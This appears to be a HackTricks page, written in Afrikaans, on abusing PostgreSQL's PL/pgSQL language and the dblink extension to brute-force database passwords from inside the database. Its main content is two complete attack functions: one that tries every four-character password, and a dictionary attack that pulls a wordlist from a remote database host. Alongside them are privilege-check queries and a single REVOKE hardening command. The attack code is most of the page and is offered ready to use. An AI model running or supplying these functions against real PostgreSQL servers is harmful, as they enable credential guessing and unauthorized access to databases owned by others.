PL/pgSQL Wachtwoord Bruteforce

Reading time: 4 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Vind meer inligting oor hierdie aanval in die oorspronklike dokument.

PL/pgSQL is 'n volledig funksionele programmeertaal wat verder gaan as die vermoëns van SQL deur verbeterde prosedurele beheer aan te bied. Dit sluit die gebruik van lusse en verskeie beheersstrukture in. Funksies wat in die PL/pgSQL-taal geskep is, kan deur SQL-verklarings en triggers aangeroep word, wat die omvang van operasies binne die databasisomgewing verbreed.

Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se akrediteer te brute-force, maar dit moet op die databasis bestaan. Jy kan die bestaan daarvan verifieer met:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+--------- plpgsql |

Deur die standaard is die skep van funksies 'n voorreg wat aan PUBLIC toegeken word, waar PUBLIC na elke gebruiker op daardie databasisstelsel verwys. Om dit te voorkom, kon die administrateur die USAGE-voorreg uit die PUBLIC-domein herroep het:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

In daardie geval, sou ons vorige navraag verskillende resultate lewer:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+----------------- plpgsql | {admin=U/admin}

Let wel dat vir die volgende skrip om te werk die funksie dblink moet bestaan. As dit nie bestaan nie, kan jy probeer om dit te skep met

sql
CREATE EXTENSION dblink;

Wagtwoord Brute Force

Hier is hoe jy 'n 4 karakters wagwoord brute force kan uitvoer:

sql
//Create the brute-force function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE word TEXT; BEGIN FOR a IN 65..122 LOOP FOR b IN 65..122 LOOP FOR c IN 65..122 LOOP FOR d IN 65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql'; //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Note dat selfs die brute-forcing van 4 karakters 'n paar minute kan neem.

Jy kan ook 'n woordlys aflaai en slegs daardie wagwoorde probeer (woordeboekaanval):

sql
//Create the function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists', 'SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql' -- Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks